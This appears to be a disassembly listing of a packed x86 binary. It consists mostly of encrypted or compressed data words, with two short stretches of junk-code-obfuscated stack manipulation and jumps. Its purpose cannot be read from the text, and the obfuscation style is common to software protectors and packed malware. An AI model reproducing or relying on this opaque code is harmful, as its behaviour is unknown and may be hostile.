		dd 0EC227CD0h, 0E62CE6Fh, 37E1D7ADh, 115F116Ch,	9EE9AE3h
		dd 0D41E2E24h, 47000000h, 0D083F739h, 63007573h, 5666DBD1h
		dd 0DAB62E17h, 71E62876h, 0E9696FCCh, 0A10DAE2Ch, 7B0DA1CDh
		dd 1756632Ah, 1440F164h, 66CA67EEh, 1D431A6Fh, 0BC6820AFh
		dd 0C234FA12h, 72D1BD11h, 3CC59109h, 0D44E10EDh, 1446D51Ah
		dd 0CBA7CB67h, 0D2A80B67h, 0CD0AABAh, 25FF8D64h, 9B1913A1h
		dd 0F46C0B7Fh, 0AA3260D9h, 0D3AB7209h, 0F4FA3A31h, 6EA0FE92h
		dd 0F5CF7DECh, 480B7F89h, 0BE2BCD0h, 57CBA3E0h,	441CBFCAh
		dd 0AC9F3CBEh, 0E8295053h, 919041E9h, 63000009h, 0E41E4AEDh
		dd 6C96C273h, 0E01A4EEFh, 6E94C071h, 0BD1B4FECh, 6714463Ch
		dd 0D685C933h, 5BFC7882h, 0D180F50Fh, 0FBD2F85h, 1D47DD35h
		dd 6DAD0488h, 0DE104EEDh, 3F53FF9Ch, 0B73EC49Ch, 6D174E1Ah
		dd 0EFE549E8h, 319FCB66h, 672319ABh, 0E961756h,	66E1D7ADh
		dd 0A4291756h, 16C509C7h, 56678C60h, 0A24F8217h, 75214DD5h
		dd 0F9F341DBh, 4C175666h, 4B84F9D4h, 0E7D6170Fh, 5C0B4244h
		dd 567316EEh, 0FAF24017h, 4D175672h, 563AA2D5h,	0DC7DF0FAh
		dd 5BF87A70h, 0DF7EFDF7h, 699BD973h, 0A2D29C34h, 6531E015h
		dd 0E4527D1h, 5D925C34h, 0E0F595B8h, 9B8577C4h,	0B26138h
		dd 1CF0000h, 611045D2h,	93CDA10Dh, 57434B21h, 8526BE17h
		dd 421B6E20h, 4B51AE1Ch, 3CA412BCh, 3912E690h, 206E116Ch
		dd 0EDFA9B4h, 0BE242E24h, 6C31380Ch, 0AC24D111h, 0AF510FAFh
		dd 0BAE340D8h, 70h, 671E11E3h, 9AEF1756h, 402F9DC3h, 0B312BC6Fh
		dd 76B0A4Dh, 8A29A953h,	3DA2F26h, 0C909C75Dh, 49EA862Ah
		dd 0D2731433h, 1559A70Ch, 0CAA6CA66h, 0BE8B7D94h, 2E03B221h
		dd 0BE1D067Dh, 60D248E6h, 0B81A68Ch, 0C2C467FFh, 4841ED92h
		dd 883A6441h, 6E7BB7Bh,	1E16A40Eh, 0B805978Bh, 978B320Ah
		dd 6A1D8505h, 0DBB76894h, 0DEC2E3B7h, 9B000004h, 1C421B6Eh
		dd 0BC7D25AEh, 0EC40D812h, 7F2D5BB2h, 0F5C524A4h, 95B8CD12h
		dd 65C61434h, 6BB2291Fh, 0ABD99711h, 2387D6A2h,	4AF262Eh
		dd 247F0000h, 7B425786h, 7CDC9725h, 51AF12BCh, 0C3313F1Dh
		dd 0A432EC98h, 0C47EA4C8h, 0B8A8BD99h, 643A0316h, 0C7B55D6h
		dd 9C30A863h, 2CCD0CC2h, 4A4FEC80h, 0D138663Fh,	0D2A8ED21h
		dd 8FDD7EF7h, 21F3EB3Dh, 0D8861E5Dh, 6632DF16h,	8BB8599Ch
		dd 97D9F64Ch, 9DA170D8h, 6F000007h, 986236E9h, 8F2A657h
		dd 847E2ACBh, 0AF0A455h, 0D97F2BC8h, 0BA82A58h,	8231A55Fh
		dd 0FB02CD6h, 8D2CA15Bh, 53E173D9h, 1D47DF59h, 6D8920ACh
		dd 0BBE549E8h, 0C1310675h, 0BED2BE12h, 3411181Dh, 544FD86Ah
		dd 3AA212BCh, 784CFE64h, 91116C34h, 0A0E938E2h,	0A53D4A14h
		dd 27CE5406h, 66D72004h, 3533907Bh, 0EA4410C7h,	0AD01B224h
		dd 0F86462C1h, 0B3F26A06h, 87EBE823h, 6675D2Bh,	1AF3116Ch
		dd 0E654E3AEh, 116BE10Eh, 6CD4F961h, 61969C71h,	93651FBCh
		dd 98116C1Fh, 70EAB491h, 288439BEh, 769DE744h, 90CD1E7h
		dd 754B3D91h, 0C30B81D5h, 0C20C5F8Dh, 2C40EC91h, 0A731C78Fh
		dd 3B5D2839h, 4000000h,	1C421B6Eh, 67403486h, 2BB31756h
		dd 0A940DA88h, 0A7824227h, 0EE624F18h, 258DB73Dh, 73E49E3Dh
		dd 612BCB1h, 2DE3329Eh,	4D000000h, 291BA3A4h, 0C9A509A8h
		dd 5EE8B2E4h, 1B6E58FDh, 71AE1C42h, 8412BC56h, 6AD8421Ch
		dd 116C3692h, 442675BFh, 5D2AD3C6h, 6FC666C5h, 7A49E86Dh
		dd 0DC527225h, 715A8B23h, 43000006h, 0C43E6A0Dh, 4CB6E293h
		dd 0C03A6E0Fh, 4EB4E091h, 9D3B6F0Ch, 47F4661Ch,	0B665E913h
		dd 3BDC18E2h, 0B160956Fh, 6FDD4FE5h, 1D47E095h,	6ECD64E8h
		dd 0AE1C421Bh, 12BC4E19h, 86D874ECh, 3AD6AE1Ch,	0B200116Ch
		dd 116C3ABAh, 7AE2950Dh, 0FB96DFD9h, 30D629AFh,	4E572A33h
		dd 10DE755h, 0F860EA21h, 0F039C094h, 9EF94B15h,	0D1E586F0h
		dd 96D91749h, 0A7154BE7h, 0E436CFCDh, 77D4B820h, 0FB9ADDD7h
		dd 7A4356AFh, 0B86D9624h, 9800DF9Ch, 0A66E4234h, 84CADE4Ch
		dd 7C7B0D58h, 528BFB04h, 25000001h, 18B467EBh, 9E32DF12h
		dd 983D9EF2h, 85031B6Eh, 0E49D2C59h, 0BD0F513Dh, 12BCA10Ah
		dd 0C3C965FDh, 2BB1EF8Ah, 6C8DA399h, 2D8E1611h,	0AB468F75h
		dd 5F975907h, 12651FBCh, 182A3384h, 828824D5h, 6E02AE4Bh
		dd 0EB47F864h, 326391CFh, 0A2C5373Dh, 0E94AEB6Ch, 95CB66EFh
		dd 0C965185Bh, 0F05E06A5h, 53E4D86Ah, 0FD57EA21h, 2154754Fh
		dd 3C50C8EAh, 0A554999Fh, 4A087F09h, 0E25C02E8h, 1B02572h
		dd 0ED26AF55h, 0FBA5C968h, 1B11C035h, 38983BD6h
		dd 451BEE31h, 0D61A1DF7h, 9CC850C2h, 0AB2F1465h, 0A4C8A408h
		dd 0A748FAh, 29ABE3Ch, 0C131A4AEh, 89C5487Eh, 0DBD163D2h
		dd 2EBCEBEDh, 0E2B6DAB6h, 7A24D518h, 3C9041B4h,	2553F350h
		dd 0BCEBEE37h, 0DAE113ADh, 0C84F8093h, 2844E889h, 70E2E844h
		dd 34A5AFC3h, 29452985h, 0E5A3FB7Dh, 69AC0897h,	0EC76D88Ch
		dd 790FAC22h, 4897B583h, 0CBCD6EF6h, 257BD782h,	39AE90CCh
		dd 16B5911Dh, 5388286Ch, 0F73923C2h, 117DD184h,	3784F0B2h
		dd 0BD4713BEh, 3C359938h, 0AB822EDh, 0C2508832h, 916B1D85h
		dd 0E4C25088h, 5704767Ch, 0CD7653Bh, 0FFBDB66Ah, 749D3367h
		dd 0C95CE0EDh, 3FE24184h, 58h, 421B6E66h, 4034861Ch, 0B3175667h
		dd 68DA882Bh, 12BC7DF7h, 13394AA3h, 88C6C190h, 1C310F59h
		dd 0A2016E09h, 0D11F41D9h, 7A72C0A1h, 0CD116BCEh, 0F9953955h
		dd 7FF0FA5Ah, 0CD248ADEh, 0D9F57F26h, 0AC4F8711h, 0A3006C00h
		dd 8B140682h, 41F3AD84h, 116BB463h, 52EB4ED6h, 1D49E86Dh
		dd 96C895E4h, 0BC6DEB24h, 0D8861E12h, 6531E616h, 9ADC5D9Fh
		dd 303995F9h, 0A89C2EE9h, 1B116C5Bh, 0FA87AE83h, 0B5FE4556h
		dd 0AA3587D9h, 1D0CD1CAh, 695F2985h, 0A20B81BBh, 62D08E57h
		dd 6E78459h, 0AED874ECh, 59770DAh, 0F1FC6826h, 224F4307h
		dd 2A77h, 1B6E2E00h, 66EAC270h,	0C55D1756h, 0D245F7A9h
		dd 6512BC7Dh, 0F739A3FDh, 127ED285h, 6C4D9064h,	0D87BE311h
		dd 20A978h, 6EF00000h, 861C421Bh, 66D6AE1Ch, 0B1291756h
		dd 572F6812h, 0DA4212BCh, 6B084A84h, 0EF4CF361h, 0E86DE64Fh
		dd 72277A49h, 0F55DDC52h, 37724h, 6C134500h, 0E88DC238h
		dd 601546BCh, 0EE8BCE34h, 611240BAh, 90129335h,	1FE5B162h
		dd 8A7024D7h, 3BC1954Ah, 0F95307B2h, 0E2E3D96Bh, 0DA561D47h
		dd 49E86D73h, 0CB66EFE5h, 0C7BD0F95h, 3A175666h, 0F75901A2h
		dd 38E8846Dh, 1D877531h, 5745916Bh, 0DF7CE417h,	0A8F6CFDAh
		dd 0BD53CD1Ah, 0A1138912h, 116D30CBh, 7E05A63Eh, 4C3C4AE6h
		dd 0B4116D31h, 0B5438AFAh, 0C12E2507h, 45h, 7FF73998h
		dd 2F7A7FDCh, 7C10C130h, 487B9022h, 0E92712BCh,	965C968h
		dd 0AB2FD1AAh, 2CAEA408h, 69E9E38Fh, 660A66CAh,	37CCBCCAh
		dd 7A34116Ch, 0A35C30Ah, 0A34A2E24h, 7BABD940h,	0E9B01396h
		dd 0D8h, 49E86DB0h, 0BB52BBE5h,	0C55D029Eh, 52808625h
		dd 0CE070DA1h, 0D611045h, 0AF16FFA1h, 4BB39DFh,	416AA929h
		dd 0C071E4E2h, 1DD33A94h, 1D5BA4A0h, 0EF3E44E7h, 0A31756AEh
		dd 75DB8F2Ah, 0AE675DEFh, 42DA1756h, 0C36EE7E1h, 4A13666Fh
		dd 0E59ADA14h, 29A61446h, 0F512BCA9h, 168EBB1Ch, 7E5E306Fh
		dd 0F8B39EB1h, 5A218210h, 1A6F96C2h, 35871D43h,	116CB03Fh
		dd 0DB892AB2h, 0A94C8F41h, 0B0CA6905h, 0CD101E4h, 13C430FEh
		dd 0D53CBB0h, 0B8EC8FC3h, 50631042h, 0E8290807h, 1904D57Dh
		dd 0EB000002h, 1CE6B265h, 946E3ADBh, 18E2B667h,	966C38D9h
		dd 45E3B764h, 9F3CBEC4h, 1EBD31CBh, 9344B04Ah, 19B83DC7h
		dd 0C775E74Dh, 1D47E3EDh, 6D65CC40h, 0E01A4EEDh, 0C198CC6Dh
		dd 0C2701B6Eh, 175666EAh, 630B707h, 7F083A60h, 4FD58BE7h
		dd 56CA07FDh, 41E27A17h, 0ABAAA113h, 0A35D12BCh, 0C968E92Ah
		dd 6F6509A5h, 8BE74BE6h, 0DB154BE7h, 69ECE699h,	0AB0864C8h
		dd 6C9ADFD1h, 0E5175911h, 246CF098h, 0D11C2Eh, 7CB20000h
		dd 9AF65AFBh, 0E86D9C39h, 660AAD2Fh, 0E285F638h, 56675C50h
		dd 5B37AF17h, 0D37F1E51h, 0B6BC1CBFh, 653B9744h, 67774DFFh
		dd 52CA1756h, 625A8BF1h, 0CE001756h, 4A4CEF8Ch,	0AC025603h
		dd 0EE4DF262h, 18B465E8h, 633D0811h, 0BC5D36D1h, 551C912h
		dd 8ED0ADFCh, 8299DA14h, 6D01AD52h, 0ABD8A201h,	5E0CD0AFh
		dd 245698C6h, 7EFDF745h, 0E8700B7Fh, 0E47ED084h, 7F7F5E56h
		dd 0EA49D10Bh, 31FF6EECh, 916B1DBCh, 0E40B7F7Fh, 0C23107Ch
		dd 18E8295Ah, 0FA61B0h,	88C80000h, 0F67983D7h, 6AE91347h
		dd 0F4659FCBh, 67EB1145h, 0C746E0B4h, 0CC983BBFh, 4713C036h
		dd 0CC983FBDh, 4612BF36h, 0F8CC7EECh, 4B1D47E4h, 0ED6D6EC7h
		dd 6DE01A4Eh, 6DC198CCh, 0EFE549E8h, 8F2EAD66h,	0F5A42923h
		dd 35593559h, 0B4919861h, 165958EAh, 2A812A7h, 64F3BCB0h
		dd 0A0942611h, 131164F3h, 864FC8Bh, 0CB27AEA4h,	2FA3D42Dh
		dd 614C208Ch, 462AF780h, 0F3A0D618h, 7BF20850h,	0D4E80DEh
		dd 1D6BCB68h, 60359779h, 83170575h, 88B4CAF7h, 0C29C305Ch
		dd 0F4167C70h, 5D57CF9Fh, 0DCD67A19h, 3854F899h, 45A6D668h
		dd 0F415FDF7h, 84E8709Fh, 4453818Bh, 9A346011h,	54289A00h
		dd 0A79FF416h, 1673493Fh, 5EC69FF4h, 0C772FBFDh, 61AF356Bh
		dd 83EF43F2h, 0F415FFF5h, 49EA729Fh, 0C36F0A4Fh, 0F8BF2D93h
		dd 6A90C475h, 4B9A36E3h, 8, 0F7A22BE5h,	0A508F154h, 9834EB6Dh
		dd 12BE5B92h, 973BDC18h, 16BA599Dh, 913DDE1Ch, 8A4579Bh
		dd 8E22CF02h, 0AA65784h, 822ECF00h, 0E78957E9h,	4BE56h
		dd 0F7010000h, 4EF835Eh, 5C243C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	4961h
		mov	[esp], edx
		push	ecx
		push	edx
		mov	edx, 4AF66AA5h
		mov	ecx, 87C78D6Ah
		sub	ecx, edx
		pop	edx
		add	ecx, 0C920509Dh
		mov	eax, ecx
		pop	ecx
		push	4C76h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		pop	dword ptr [edx+8]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		db 79h
		dd 7B73B324h, 0B8A0A75Eh, 5F17FC4h, 0E0FFC503h,	3D7A3E12h
		dd 191BAD82h, 591DE59Ah, 41A0E621h, 45DD3CC0h, 29912E57h
		dd 3D8D9D43h, 18806B49h, 1DCFEB9Fh, 7D2CC076h, 5C36914Ah
		dd 729AEB3Ch, 31FD701Dh, 20996111h, 3B09E72Bh, 0F85AF75h
		dd 25A6B0C8h, 5C037DECh, 763FCAB7h, 6AF956A8h, 4C3E3D2h
		dd 0D974629h, 596D0C4h,	5886A4A1h, 77C0E894h, 0CEF394Ch
		dd 0C0801Dh, 64E891E1h,	57692814h, 6B58C732h, 52B274FBh
		dd 0FC9E7ADh, 0F8C704EBh, 82E93988h, 0B3000005h, 34CE9A3Dh
		dd 0BC4612C3h, 30CA9E3Fh, 0BE4410C1h, 6DCB9F3Ch, 0B76496ECh
		dd 26D519E3h, 0AB4C8872h, 21D005FFh, 0FF4DDF75h, 1D47E705h
		dd 6D5DF478h, 0F4A72FE8h, 0BE3E3458h, 0B5D9B519h, 0E9C371EBh
		dd 5C175666h, 0CDC767C4h, 40BAEE8Dh, 0CAC06C0Dh, 707AD683h
		dd 0FDF25EFFh, 0BF3685F7h, 72E84612h, 5666ECC0h, 64C75F17h
		dd 134DF262h, 507DF9FAh, 0D774CC8Ch, 5007758Fh,	0CC4BA2FCh
		dd 0E4C3672Fh, 84E48EBh, 412DCC0Dh, 0D103BDEDh,	3CB38ACAh
		dd 74593599h, 96D54264h, 5608640Dh, 94B95A98h, 0ECB2C40Fh
		dd 6F3794ECh, 1DB16095h, 0AE4D8D43h, 0B7CD6E02h, 1756E3C0h
		dd 0BDC83476h, 340EB5CBh, 863Bh, 125B9500h, 3961C467h
		dd 671B11A3h, 0F66E1756h, 94A93DDBh, 0CA6971A1h, 44E889CCh
		dd 574F4032h, 5698CA17h, 0B1DD7126h, 0D9245012h, 340F212Fh
		dd 15Fh, 0A3390600h, 56671B11h,	55F66E17h, 0F94B1C53h
		dd 17566703h, 966EDC76h, 0E9175667h, 0DD711D71h, 0A3FDA0D7h
		dd 94C41A4Ah, 979DB061h, 78D87B6Ch, 0C52FF72h, 12502496h
		dd 3BA31757h, 3D373898h, 0D687C8CFh, 44F57882h,	0F657BE10h
		dd 7F2B41B4h, 6DB114B7h, 0B0957CEDh, 0BDDD1BABh, 1AE9C3B5h
		dd 0C45C1757h, 0C90E04A8h, 5E10B814h, 7AF33D2Eh, 0F87A7CDFh
		dd 48A10F5Bh, 9C6F92C2h, 9B9D3E0Bh, 10BA752h, 0C9A311D2h
		dd 3C175694h, 6E64C8A4h, 0ECE64AE7h, 0C860CC6Dh, 10415686h
		dd 2F710D61h, 6D18DCC6h, 1CBF3E13h, 0F33D2E5Eh,	7B71DD80h
		dd 9BF75BF6h, 5C1C54F7h, 0A3340E75h, 0E74BEA6Dh, 7D71288Bh
		dd 28000000h, 0E24EED6Dh, 66CA6BE8h, 0E448E96Ch, 62CE6BEEh
		dd 0C0F5676Dh, 0D81BD5CFh, 46E58925h, 5997D804h, 0A5C96514h
		dd 47D20006h, 0C4CE6215h, 8288E495h, 630FA350h,	3BF55B0Fh
		dd 0C4A804B7h, 42F16167h, 0F675E4EEh, 56677044h, 0BA3DC317h
		dd 0B71B771Bh, 0E5785CBh, 340E3F6Ah, 429Ah, 0ED6DC300h
		dd 6CE8E24Eh, 0B4A01D8Ah, 567B80D7h, 671851B1h,	0E34F23E2h
		dd 2C6B99C7h, 590DAEh, 154BEA6Dh, 42A094DBh, 9F9CAFE5h
		dd 51F1523Eh, 57295027h, 38A4E617h, 0EFB5B2Dh, 1AB34h
		dd 6DF20000h, 0E9E34FEEh, 4919B564h, 0C53685F7h, 24EA4410h
		dd 0C1AD01B2h, 4B126762h, 473D8F15h, 0BA175667h, 0A661744h
		dd 6649FBA9h, 0D912BC44h, 610DB027h, 0E38EC7CDh, 69084DB7h
		dd 41BFB3C5h, 35D116Ch,	1D509ED1h, 9C90227Ch, 0EF116C41h
		dd 9BD2D477h, 0D4B85998h, 46F37A80h, 0CC6DE0EAh, 30E56A60h
		dd 0B065969Ch, 8AFAB41Ch, 5F8DC36Bh, 30641558h,	7D1E509Eh
		dd 70B6FCD1h, 39EA511Bh, 30AC7855h, 0FAB15025h,	20671159h
		dd 73972E24h, 0CE000001h, 3E031B6Eh, 0FC54819Fh, 0BE0C523Eh
		dd 12BD2229h, 0E2E844DCh, 8A2BA86Bh, 9022B8E6h,	116CFE9Ch
		dd 8CD477EFh, 0C534FF76h, 0DED47814h, 0FE56FA97h, 34E96EA0h
		dd 44A7D597h, 3A96438Ah, 7AF3F556h, 0CC258BDFh,	6B858434h
		dd 1C54F736h, 2E24646Ch, 4D98h,	0F739C100h, 7A7FDC7Fh
		dd 960C523Bh, 0AD3FE50Ch, 0F82C1082h, 5689B68Eh, 32910917h
		dd 568AA448h, 0A30F9717h, 5689DFD5h, 9FCD8F17h,	34721A1Bh
		dd 20429D01h, 0C87A2448h, 1756E124h, 0FADB8F17h, 0DAh
		dd 596DBD54h, 0D94A316Ch, 0A339DF7Ah, 56671B11h, 55F66E17h
		dd 227C4950h, 0BC452390h, 57E57F12h, 116C435Dh,	90EB48D0h
		dd 27AEA408h, 0B124DE8Ah, 42AC8032h, 0F162116Ch, 0CFA33B4Ch
		dd 42E81563h, 8AC4116Ch, 0C7641544h, 0D405785h,	4218EC5Eh
		dd 0C16B116Ch, 6C427973h, 3854CC11h, 93C40A54h,	81224EE2h
		dd 0CD920D9h, 0C1BBE052h, 248E0CBDh, 7AC09E96h,	3EC8110Bh
		dd 96E9ABD7h, 2D81ED81h, 0AB31AE27h, 7B342319h,	780E960Bh
		dd 0B7B3484h, 83316FF7h, 0B7B33A9h, 44E8841Ch, 0C76B084Eh
		dd 46EA89CDh, 3334A0EEh, 7B33AB81h, 0EA861E0Bh,	408E14BAh
		dd 20146213h, 930B7B34h, 7AEAA80Bh, 4C12EB3Eh, 38D918D6h
		dd 0B3BAE19Bh, 738D06CCh, 0FEF458FBh, 0DEB2DE7Bh, 0F739D38Ah
		dd 7570D37Eh, 0C9075924h, 184AE988h, 0A7E681AAh, 40EC7412h
		dd 0C430034Ah, 2823A152h, 3A5661BAh, 1492A517h,	4A262B5Ah
		dd 0A671E41Eh, 4CE08C31h, 3D276C3Ah, 0A3392325h, 0EAF71B11h
		dd 55F66ED4h, 9FD6E517h, 8436ACF2h, 0D4EAF6B0h,	60389B03h
		dd 0AA6539Ah, 7E20D100h, 0CD9344B0h, 0EAF7857Fh, 0C360F8D4h
		dd 5F8D3363h, 30641558h, 7AD683CAh, 0CABh, 0B9EC0500h
		dd 0BF3D10DBh, 8C366C5h, 34EB6DA5h, 0BE5B9298h,	3BDC1812h
		dd 0BA599D97h, 3DDE1C16h, 0A4579B91h, 22CF0208h, 0A657848Eh
		dd 2ECF000Ah, 5455E982h, 4C5815Dh, 83000000h, 2C8704EDh
		dd 66685C24h, 89000006h, 89532414h, 4C381E3h, 81000000h
		dd 4EBh, 241C8700h, 2434895Ch, 55B85051h, 0B9001A51h, 5EBD18Bh
		dd 8958C131h, 846859CAh, 8900002Ah, 4832424h, 505E0424h
		dd 8BB53h, 0D8890000h, 89F0015Bh, 34FF5810h, 0C4835E24h
		dd 2434FF04h, 4C4815Ah,	0E9000000h, 0FFF8F81Eh,	54C1C5Fh
		dd 85E9B8A8h, 0C50305F1h, 9402E0FFh, 8F7619Eh, 0E9570CF8h
		dd 0EE303CB0h, 0EC256FCCh, 0C84015F2h, 20D90A82h, 2260B17h
		dd 987356CAh, 2E9C6C2Ah, 0BE336ADEh, 47B52EC7h,	4EB01A4h
		dd 1EAE9D6Ah, 572E9h, 0D087C900h, 44F97E84h, 0B469EA10h
		dd 3AD71AE0h, 0B566946Eh, 0BCC647E1h, 33C99D3Eh, 0B64C18BBh
		dd 3FC59146h, 0E54F1BB6h, 0ECEFC577h, 0CE421D47h, 11A33967h
		dd 1756671Bh, 5355F66Eh, 8DD37F1Ah, 0C36F0A43h,	0C80A0CAFh
		dd 0C36F0E4Dh, 85E988C9h, 3894478Fh, 0FC663854h, 6B1DC232h
		dd 17566791h, 3767CE4h,	3596FA56h, 0F25E976Dh, 0DAE5E11Ch
		dd 0D28CE0BAh, 1302FA48h, 0ED751757h, 71E4EE4Eh, 0DB326CC0h
		dd 7C7711DCh, 2B2D8EB9h, 525DF1A4h, 0E66F2C58h,	630FAE2Dh
		dd 0E88FCD37h, 611646BCh, 0EC8FC7CDh, 3EAE1040h, 1044FB79h
		dd 1AB663EAh, 57169B6Ch, 7BE9AB17h, 0EE88672h, 57F634h
		dd 6DAF0000h, 93E549E8h, 1756669Fh, 727BE9ABh, 340E3886h
		dd 1F6h, 0EA6DAF00h, 6AEDE74Bh,	0BD0F95CBh, 175666C7h
		dd 0C16D1047h, 0E142DAADh, 6B064B41h, 92C2C8C7h, 7D23D205h
		dd 0C39AFE94h, 0C1629598h, 1FAD3799h, 17573325h, 0A5A30098h
		dd 0CC6FE730h, 34600C60h, 4EED6D6Dh, 0D067E8E2h, 0BC5F97A2h
		dd 0BC107C10h, 0FA9643B6h, 0DC923A96h, 5956BFB0h, 0FE30E065h
		dd 0FA55EF99h, 0F29E0976h, 6AC677F8h, 2FA3A506h, 0AB22D88Ch
		dd 2BA8A20Eh, 0FC4ED48Ah, 1756A708h, 0A756857Bh, 0B4C868CBh
		dd 0B0598AFAh, 5F8C0F05h, 0D89033C3h, 340EBA20h, 754FFD67h
		dd 0C81756D8h, 0A6AAF350h, 0F3000000h, 0B485F739h, 51FD9142h
		dd 5A989E3Dh, 854B15B9h, 0E291C156h, 0ED4E228Eh, 19B568EBh
		dd 0ABF01C16h
		dd 0DA207427h, 5D57FB98h, 0ADD17D1Ch, 0E1DB69F3h, 54175666h
		dd 4C2092CCh, 0BF175667h, 96C68427h, 0E3FA94Fh,	8DD534h
		dd 0B57B0000h, 93369544h, 0E24EED6Dh, 5C0172BCh, 393F9CF0h
		dd 945A04BBh, 0B616B566h, 309C3DBCh, 0AC00B53Ah, 676C40F2h
		dd 47DF1756h, 233A1EFh,	40F26826h, 1756676Ch, 0A6E447DFh
		dd 42F16136h, 4034861Ch, 0B3175667h, 0AF7CC66Ah, 0E62BBC8h
		dd 955BF5ADh, 761AB665h, 0FD5EFF7Ch, 2DEA6D58h,	0CEA20EADh
		dd 87780EA2h, 0BF175667h, 0B2468FFDh, 0C9340E39h, 87F35920h
		dd 670BA752h, 69ADB34Ah, 563AE1DBh, 0A0CC5417h,	15A03h
		dd 6D030000h, 0B4A429EEh, 26822D3Fh, 0EA2CE1Eh,	0CA500E62h
		dd 56B88478h, 0CC6FF717h, 42EF666Ch, 4034861Ch,	0B31756B8h
		dd 2228882Bh, 0A4AE02AFh, 92D8132h, 0A0F02557h,	2AA9EE1Eh
		dd 0D326DF8Bh, 0DC81F638h, 926A1C70h, 0E51756B8h, 814F117Dh
		dd 630FA352h, 920892C0h, 0D37F205Ch, 0B7F3C9BFh, 0DE461756h
		dd 9520077Dh, 6D9312BCh, 705008E8h, 7E555479h, 8CD27E12h
		dd 0CF631042h, 0CF0600A3h, 54E67C22h, 116C7260h, 0B0E84BD3h
		dd 856034Ah, 5F94F4E1h,	959FBC7Fh, 7519B564h, 320076D6h
		dd 0D2116D0Bh, 125B608Ch, 84C93367h, 0FA7379D5h, 6CE8015Fh
		dd 1946C58Fh, 0A53416D5h, 0E18D20FDh, 44AE242h,	0C30D97D8h
		dd 2844E88Bh, 6CC0665Eh, 0E241D911h, 3D8171E4h,	0DE7984F9h
		dd 8D396D01h, 2E2532FBh, 54289A00h, 0A7116D55h,	2C59C3Fh
		dd 6B000001h, 609E5982h, 94EB180h, 3E9B3854h, 1C421B6Eh
		dd 0BC7439AEh, 0A22BE512h, 0B72F54F7h, 0DB027E9h, 0D1040EAEh
		dd 478E7420h, 965806AAh, 43B6BC61h, 0BA333596h,	0B93DFA79h
		dd 0B6DAB61Ah, 90DE76DAh, 8ACD0364h, 212B47EBh,	0CEA20EADh
		dd 37E26B6Dh, 2321D763h, 346D2E24h, 34000000h, 104E276Eh
		dd 5666FAA2h, 0A42AE417h, 0D2BE5D91h, 5203747Eh, 7EE69D3Eh
		dd 65D0A4D2h, 0BCFE1756h, 604D4850h, 65E88C3Eh,	43DB1756h
		dd 733617h, 6E6F0000h, 0D21C421Bh, 555FF3A0h, 0B0DC7027h
		dd 9F2D7FDCh, 12BC452Ch, 6D47F55Fh, 0C0116C43h,	6804B93Eh
		dd 2BA2A804h, 0AD20DA8Eh, 0A7D6A00Ch, 5116C42h,	5B92295Bh
		dd 613EABEh, 41C5BF0Dh,	0A038116Ch, 0B92092CCh,	80CBDBBh
		dd 0AC623C90h, 2D2B8829h, 0F5A509A8h, 7881194Bh, 0BA3DF3ADh
		dd 0F6DBB71Bh, 0F43F754Eh, 7725860Fh, 0CC225CC5h, 6733AB06h
		dd 421B6E3Eh, 0C48861Ch, 8ABC76Bh, 0A7E0E772h, 3CB17F12h
		dd 0DD453E9Dh, 0D1AB1983h, 241164E0h, 0B5BF1FBCh, 26CF9140h
		dd 0BA3A8BCCh, 0E8C5A905h, 13B0DE18h, 0DC3CB14Bh, 16ED0D6Ch
		dd 50249644h, 0A31164E2h, 653B573Bh, 23358E8Ch,	0E34069BEh
		dd 85A3543h, 1F150618h,	8A27AEEDh, 32B124DEh, 5E5AC80h
		dd 0EB871FF6h, 6D0C4D47h, 0BD2F91C1h, 8EDA77FEh, 0FC500174h
		dd 32Dh, 0A5087400h, 9834EB6Dh,	12BE5B92h, 973BDC18h, 16BA599Dh
		dd 913DDE1Ch, 8A4579Bh,	8E22CF02h, 0AA65784h, 822ECF00h
		dd 0E68956E9h, 4C681h, 0EE830000h, 74FF5604h, 8F5E0424h
		dd 685C2404h, 41ABh, 68241489h,	70CCh, 68242C89h, 5F186A4h
		dd 8324148Bh, 0EC8104C4h, 4, 81242489h,	42404h,	685D0000h
		dd 7F63h, 8F241489h, 2C8B0845h,	0E2895224h, 4C281h, 0C2830000h
		dd 24148704h, 24148B5Ch, 5E08950h, 4, 8704C083h, 0E95C2404h
		dd 0FFF8F272h, 0B19CF96Ah, 2CA4533Ah, 106F1199h, 0B8B63291h
		dd 5F18B90h, 0E0FFC503h, 6DEBEEC3h, 12CEEF4Dh, 757E3131h
		dd 5FB02408h, 12488FDEh, 51997764h, 0C11D336h, 2B035249h
		dd 52D14034h, 8D068D8Dh, 6A05F1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 6653DCC3h, 0B529E32Ch
		dd 5EA1B15h, 0ADD8D89h,	6A05EAh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0DF7E0FC3h, 0ADC1230Ah
		dd 0ACD85C7h, 5E6C05EAh, 0E9500000h, 0Dh, 0CC32D78Bh, 0FD56CC8Dh
		dd 29FCE46Ah, 85C75FDEh, 5EA25F5h, 0
		dd 0FFF8B70Fh, 0EA0BFDB5h, 1DB50105h, 8905EA17h, 0EA1B85BDh
		dd 1995FF05h, 6A05EA2Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 506FC350h, 3430E078h
		dd 0E1CE96A6h, 95FF006Ah, 5EA1015h, 78EBC08Bh, 7B110D12h
		dd 5300B754h, 0CBB785CAh, 0CFFFD56Dh, 2453BA7Bh, 9A1520FDh
		dd 79899Ah, 0A8993585h,	1BDE69B4h, 4F431D26h, 0BD131041h
		dd 0CFC2886Ch, 9A3C3924h, 126E221Bh, 0DAC255A9h, 7F571CF8h
		dd 5074B00h, 6A2D21B1h,	0F4FADAF4h, 0AD7E6DAAh,	0ECDE80A3h
		dd 1477A06Dh, 516CD478h, 941F4E0Dh, 3C9F8F52h, 1FD6B180h
		dd 0D78EBCECh, 0E4506B3Fh, 0E0EB5122h, 0CEFB25ADh, 0DD4104EBh
		dd 0DEE93624h, 0E3000004h, 649ECA6Dh, 0EC1642F3h, 609ACE6Fh
